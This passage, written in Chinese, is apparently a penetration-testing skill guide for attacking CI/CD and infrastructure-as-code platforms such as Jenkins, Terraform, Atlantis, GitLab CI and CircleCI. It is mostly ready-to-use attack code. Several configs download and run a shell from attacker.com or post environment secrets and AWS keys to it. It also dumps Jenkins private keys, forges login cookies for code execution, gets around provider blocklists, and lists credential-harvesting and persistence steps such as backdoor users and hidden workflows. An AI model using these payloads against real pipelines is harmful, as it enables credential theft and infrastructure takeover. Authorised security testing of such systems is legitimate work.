else if (it instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey)
println "${it.id}: ${it.privateKeySource?.getPrivateKey()?.getPlainText()}"
}Pipeline 中加载凭据:
// 不同凭据类型需要不同的加载方式
withCredentials([
usernamePassword(credentialsId: 'my-cred', usernameVariable: 'USER', passwordVariable: 'PASS'),
string(credentialsId: 'api-key', variable: 'API_KEY')
]) {
sh 'env | base64'
}注意:如果凭据类型不匹配(如用 string() 加载 usernamePassword 类型),会报错暴露凭据类型信息。
1.6 离线凭据解密
当获得文件读取能力后(如 LFI 漏洞或服务器 shell),可进行离线凭据解密:
需要的文件:
$JENKINS_HOME/secrets/master.key$JENKINS_HOME/secrets/hudson.util.Secret
加密凭据位置:
credentials.xmljobs/*/build.xmljobs/*/config.xml
查找加密凭据:grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
离线解密:python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml
1.7 文件读取 → RCE(Remember Me Cookie 伪造)
当只有文件读取能力时,可通过伪造 Remember Me Cookie 获得 RCE:
1. 读取用户配置:$JENKINS_HOME/users/*.xml(获取 username、user seed、password hash) 2. 读取密钥文件:secret.key、secrets/master.key、secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac 3. 解密 MAC Key → 计算 HMAC SHA256 签名 → Base64 编码生成 Cookie 4. 使用伪造的 Cookie + CSRF Token 访问 /scriptText 执行 Groovy
1.8 FormValidation SSRF
某些 Jenkins 插件暴露 validateButton 或 testConnection 端点,缺乏权限检查时可被利用:
- 将 POST 请求改为 GET 并去掉 Crumb → 绕过 CSRF
- 替换 URL 参数指向攻击者服务器 → 凭据外泄
- 利用响应错误信息进行端口扫描
---
2. Terraform
Terraform 作为 IaC 工具,其配置文件本身就是可执行代码。攻陷 Terraform 等于控制整个云基础设施。
2.1 Plan 阶段 RCE
terraform plan 是使用频率最高的命令,也是最容易被利用的攻击面。
external data source(最常用):
data "external" "rce" {
program = ["sh", "-c", "curl https://attacker.com/payload.sh | sh"]
}恶意 Provider:
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}Provider 在 init 阶段下载,在 plan 阶段执行恶意代码。
隐蔽技术: 使用外部模块引用隐藏恶意代码,并通过 git ref 指向特定 commit:
module "backdoor" {
source = "git@github.com:attacker/module//modules?ref=b401d2b"
}2.2 Apply 阶段 RCE
local-exec provisioner 在 terraform apply 阶段执行本地命令:
resource "null_resource" "rce" {
provisioner "local-exec" {
command = "curl https://attacker.com?key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY"
}
}2.3 State 文件攻击
Terraform state 文件包含所有资源的当前状态,且常包含明文密码和密钥:
- 读取 State 文件:直接获取云资源凭据、数据库密码等
- 篡改 State 文件注入 RCE:向
resources数组添加恶意 provider 资源,下次plan/apply时触发代码执行 - 删除资源:向 state 文件插入指向真实资源 ID 的假资源,
apply时 Terraform 会删除该资源
2.4 Terraform Cloud 攻击
Token 窃取: Terraform CLI 在 ~/.terraform.d/credentials.tfrc.json 中以明文存储 Token。
Speculative Plan RCE:
1. 使用窃取的 TFC Token 配置 cloud 块指向目标 workspace 2. 使用 external data source 触发代码执行 3. 在 TFC Runner 上获取 shell → 读取注入的云凭据文件
Runner 凭据位置:
| 云平台 | 文件 | 内容 |
|---|---|---|
| GCP | tfc-google-application-credentials | Workload Identity Federation JSON |
| GCP | tfc-gcp-token | 短期 GCP 访问 Token |
| AWS | tfc-aws-shared-config | OIDC Role Assumption 配置 |
| AWS | tfc-aws-token | 短期 AWS Token |
2.5 Provider 黑名单绕过
当 hashicorp/external 被组织策略禁止时,使用第三方 fork(如 nazarewk/external)重新实现相同功能:
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}---
3. Atlantis
Atlantis 是 Terraform 的 PR 自动化平台,通过 PR 评论触发 plan/apply。Atlantis 服务器上运行着 Terraform,拥有云 Provider 的完整凭据。
3.1 Plan 注入 → RCE
任何对仓库有写权限的人都可以创建 PR 并在 .tf 文件中注入恶意代码:
data "external" "rce" {
program = ["sh", "-c", "curl https://attacker.com/shell.sh | sh"]
}当 atlantis plan 被触发时(可能自动或通过 PR 评论),恶意代码在 Atlantis 服务器上执行。
隐蔽攻击: 创建两个分支(test1、test2),从 test1 向 test2 发起 PR。完成攻击后删除 PR 和分支。
3.2 Custom Workflow RCE
当服务端配置 allow_custom_workflows: true 时,仓库中的 atlantis.yaml 可定义任意执行步骤:
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: curl https://attacker.com/shell.sh | sh3.3 Secrets 转储
通过 Terraform 的 output 结合 nonsensitive() 函数在 plan 输出中暴露变量值:
output "secret" {
value = nonsensitive(var.cloud_token)
}3.4 Webhook 伪造
如果 Atlantis 未配置 Webhook Secret(或使用 Bitbucket Cloud 不支持 Secret),攻击者可以直接向 Atlantis 发送伪造的 Webhook 请求,触发 plan/apply 命令。
3.5 后利用
获得 Atlantis 服务器访问后的关键文件:
| 路径 | 内容 |
|---|---|
/home/atlantis/.git-credentials | VCS 访问凭据 |
/atlantis-data/atlantis.db | VCS 凭据(含更多信息) |
/atlantis-data/repos/<org>/<repo>/<pr>/<ws>/<dir>/.terraform/terraform.tfstate | Terraform State |
/proc/1/environ | 环境变量(含 Provider 凭据) |
---
4. GitLab CI
4.1 Runner Token 窃取
GitLab Runner 注册 Token 允许注册新的 Runner 并窃取后续分配的所有作业。Token 位置:
- 管理面板 → CI/CD → Runners
- 项目设置 → CI/CD → Runners
/etc/gitlab-runner/config.toml(Runner 服务器上)
4.2 共享 Runner 逃逸
GitLab.com 的共享 Runner 运行在容器化环境中,但配置不当的 Self-hosted Runner 可能允许容器逃逸。检查:
- Docker Socket 挂载(
/var/run/docker.sock) - 特权模式运行
- 主机网络命名空间
4.3 CI 变量注入
GitLab CI 变量按作用域分级:实例级 → 组级 → 项目级。拥有 Maintainer 权限可查看/修改项目级变量。
Protected 变量绕过: Protected 变量只在 Protected 分支上可用。如果攻击者能创建 Protected 分支(或目标分支配置了通配符匹配),可以在新分支上访问这些变量。
利用 `.gitlab-ci.yml`:
stages:
- exfil
exfil-secrets:
stage: exfil
script:
- env | base64 | curl -X POST -d @- https://attacker.com/collect4.4 Executor 风险判断
GitLab Runner 的 executor 决定逃逸和横向价值:
| Executor | 风险点 | 检查 |
|---|---|---|
| Shell | Job 直接以 runner 用户在主机上运行,可读取同机其他项目残留 | id, pwd, ls ~/.ssh ~/.docker |
| Docker | 非特权模式隔离较好;特权模式或挂载 docker.sock 时可容器逃逸 | ls -la /var/run/docker.sock, cat /proc/1/status |
| SSH | 依赖远程主机执行;弱主机密钥校验可能被中间人攻击 | 检查 runner 配置中的 SSH 参数 |
4.5 SCM 后利用与持久化
拿到 GitLab API Token、管理员凭据或足够的用户权限后,优先评估仓库、Runner、PAT 和 SSH Key,而不是只盯着单次 CI Job。
# 枚举当前 token 可访问项目
curl -s --header "PRIVATE-TOKEN: $TOKEN" "https://gitlab.example.com/api/v4/projects?membership=true"
# 创建 PAT 需要管理员或相应 API 权限;用于授权测试时应设置过期时间并记录清理
curl -k --request POST --header "PRIVATE-TOKEN: $TOKEN" \
--data "name=audit-token" --data "expires_at=2026-12-31" \
--data "scopes[]=api" --data "scopes[]=read_repository" \
"https://gitlab.example.com/api/v4/users/USER_ID/personal_access_tokens"SCMKit / glato 这类工具可自动化 list repo、search code、list runner、create/list/remove PAT、SSH key 管理等动作。使用前要确认目标 SCM 类型、token 权限和授权范围。
---
5. CircleCI
5.1 Context Secrets 窃取
CircleCI 的 Context 是组织级别的 Secret 容器。默认情况下,组织内所有仓库都可以访问所有 Context。
攻击前提: 只需对组织中任意一个仓库拥有写权限。
窃取 Context Secrets:
version: 2.1
jobs:
exfil:
docker:
- image: cimg/base:stable
steps:
- run:
name: "Exfil"
command: "curl https://attacker.com/?data=$(env | base64 -w0)"
workflows:
attack:
jobs:
- exfil:
context: Target-Context5.2 项目变量导入
CircleCI 的 "Import Variables" 功能允许从其他项目导入变量。攻击者可以将所有项目的变量导入到自己控制的项目中,一次性窃取。
5.3 SSH Rerun
CircleCI 支持通过 SSH 重新运行失败的作业。如果攻击者可以触发构建,SSH Rerun 提供了一个交互式的 shell 环境来探索 Secrets 和网络。
5.4 云环境穿越
CircleCI 默认在 GCP 上运行。当目标使用 self-hosted Runner 时(特别是在云环境中),检查:
- 云元数据端点(169.254.169.254)
- VM 实例(
machine: image: ubuntu-2004:current)比 Docker 容器有更多云权限
---
6. Azure DevOps
6.1 Pipeline 识别与 PR 触发
Azure Pipelines 常见配置文件是仓库根目录的 azure-pipelines.yml。先看 trigger: 与 pr:,判断是否会构建 PR 或 tag。
trigger:
branches:
include:
- master
- refs/tags/*
pr:
- master如果 PR 会触发构建,风险评估回到 PPE:是否执行 PR 中的脚本、是否注入变量、是否使用高权限 Service Connection。
6.2 Service Connection Secret 提取
Azure DevOps 的高价值凭据通常在 Service Connection 中:AzureRM、GitHub、AWS、SonarQube、SSH 等。攻击路径不是“读取配置文件”本身,而是让 Pipeline 使用对应 service connection 执行可控步骤,从而暴露其环境变量或派生凭据。
# nord-stream 可用于在授权环境中生成恶意 pipeline 并枚举/提取 CI/CD secret
nord-stream.py devops ... --build-yaml test.yml --build-type ssh使用这类工具前确认项目、组织和 service connection 的授权边界;错误的 build type 会导致只验证到 Pipeline RCE,而没有覆盖目标凭据类型。
6.3 参数/变量命令注入
Azure Pipelines 支持 parameters、variables 和模板表达式。若用户可控参数被拼接进 script / bash / powershell,可形成命令注入。优先检查:
- PR 标题、分支名、tag 名是否进入脚本。
- Pipeline 参数是否被未经引用地拼接到 shell。
- 模板复用时是否把不可信仓库的值传入高权限模板。
---
7. Drone CI / Buildkite
Drone 和 Buildkite 常用于 self-hosted 场景,因此一次命令执行经常意味着访问组织内网、Kubernetes 或云元数据。
| 平台 | 配置文件 | 命令字段 | 重点风险 |
|---|---|---|---|
| Drone CI | .drone.yml | steps[].commands | Runner 所在容器/主机权限、Registry token、K8s/cloud 权限 |
| Buildkite | .buildkite/*.yml | steps[].command | Agent 多为自托管,可能持有部署密钥和内网访问 |
Drone 最小执行形态:
steps:
- name: verify-runner
image: alpine:3.19
commands:
- id
- hostnameBuildkite 最小执行形态:
steps:
- label: "verify runner"
command: "id && hostname"拿到执行后,优先检查是否为 self-hosted:云元数据、~/.kube/config、/var/run/docker.sock、~/.docker/config.json、部署用 SSH key 和内网路由。
---
8. Serverless Framework
8.1 部署凭据与 IAM Role 风险
Serverless Framework 部署到 AWS 时会使用本地 AWS 凭据或 Serverless Dashboard 配置的部署身份创建/更新 Lambda、IAM Role、API Gateway 等资源。实际影响取决于部署身份和生成的 Lambda 执行角色权限;不要默认假设执行角色拥有 AdministratorAccess。
Access Key 存储位置: 本地 SERVERLESS_ACCESS_KEY 环境变量或 serverless CLI 登录后的本地存储。拿到该 Key 后优先枚举可访问的 org/app/stage 和关联云 Provider 权限,再判断是否可影响目标 AWS 账户。
8.2 Plugin 投毒
Serverless Framework 插件通过 npm 安装并在部署生命周期中执行。恶意插件可以:
- 在部署前/后执行任意代码
- 窃取 Provider 凭据
- 修改部署的函数代码
8.3 Lambda 环境变量泄露
serverless.yml 中通过 SSM/S3 引用的 Secret 在部署时被解析为明文并设置为 Lambda 环境变量。任何有 Lambda 读取权限的人都可以看到这些明文值。
---
9. CloudFlare
9.1 Workers 滥用
CloudFlare Workers 运行在边缘节点,拥有特殊的网络位置和权限:
- 请求篡改:Workers 可以修改经过的 HTTP 请求/响应
- 数据外泄:拦截并转发敏感数据到攻击者服务器
- Pass-through 代理:将 Workers 配置为代理进行 IP 轮换
9.2 Zero Trust 绕过
CloudFlare Zero Trust(原 Access)配置不当时:
- 服务端未验证 CF-Access-JWT-Assertion 头
- 自定义域名未纳入保护策略
- 内部应用直接暴露到公网
---
10. 其他平台快速参照
| 平台 | 关键攻击面 | 核心利用方式 |
|---|---|---|
| Concourse | Web UI 默认凭据、Pipeline 变量注入 | 修改 pipeline.yml 注入恶意 task → 窃取 Vault/CredHub 中的凭据 |
| Apache Airflow | Web UI 默认密码(airflow/airflow)、DAG 代码执行 | 上传恶意 DAG 文件执行任意 Python 代码;连接配置中存储的数据库/云凭据 |
| Okta | SAML/OIDC 配置错误、API Token 泄露 | 窃取 API Token → 创建后门用户/修改 MFA 策略 |
| Gitea | 类似 GitHub 的攻击面,自托管更易暴露 | Webhook 无 Secret → 伪造触发;Admin 面板 → 代码执行 |
| Gitblit | Java 应用,管理面板暴露 | 默认凭据、仓库操作 API |
| Travis CI | .travis.yml 修改 | 修改构建脚本窃取加密变量;travis encrypt 的密钥泄露 |
| Vercel | 环境变量、Serverless Functions | 函数源码泄露、环境变量通过 API 获取 |
| Supabase | API Key(anon/service_role)、数据库直连 | service_role key 绕过 RLS → 完全数据库访问 |
| Ansible Tower/AWX | Credential 存储、Playbook 执行 | 获取 Tower 访问权 → 执行恶意 Playbook → 控制所有受管主机 |
| Chef | Knife 配置、Cookbook 篡改 | 修改 Cookbook 注入恶意 Recipe → 在所有节点执行 |
| Docker Build | 构建上下文泄露 | 设置构建上下文到仓库根目录以外(如 ..)→ 在 build 阶段读取宿主机文件 |
---
11. 跨平台通用后利用
无论具体 CI/CD 平台,成功获得 Runner/Agent 的代码执行后,以下后利用步骤通用:
11.1 凭据搜集优先级
1. 环境变量:env | grep -iE 'token|key|secret|password|credential' 2. 文件系统:~/.npmrc、.pypirc、~/.gem/credentials、~/.git-credentials、~/.netrc、~/.docker/config.json 3. 代码仓库与片段:搜索 repo、code、file name、GitLab snippet 中的 token / secret / password / deploy / registry 4. 云凭据:~/.aws/credentials、~/.config/gcloud/、~/.azure/ 5. 进程内存:Runner/Worker 进程中的明文 Secrets 6. 元数据服务:curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
SCMKit 可用于授权环境中的 SCM 枚举:listrepo、searchrepo、searchcode、searchfile、listsnippet。这些动作依赖当前 SCM token 权限,结果应作为 Secret 搜索入口,而不是直接证明可提权。
11.2 持久化
- 创建后门 CI/CD 用户或 API Token
- 在隐蔽分支中添加定时触发的恶意 workflow
- 修改现有 Action/Pipeline 中的依赖(如 npm postinstall hook)
- 注册新的 Runner/Agent 用于持续访问
11.3 云环境穿越路径
获取到云凭据后的利用请参考:
- AWS 凭据 → 参考
cloud-aksk-exploit技能 - AWS 环境深入 → 参考
aws-pentesting技能 - GCP 环境 → 参考
gcp-pentesting技能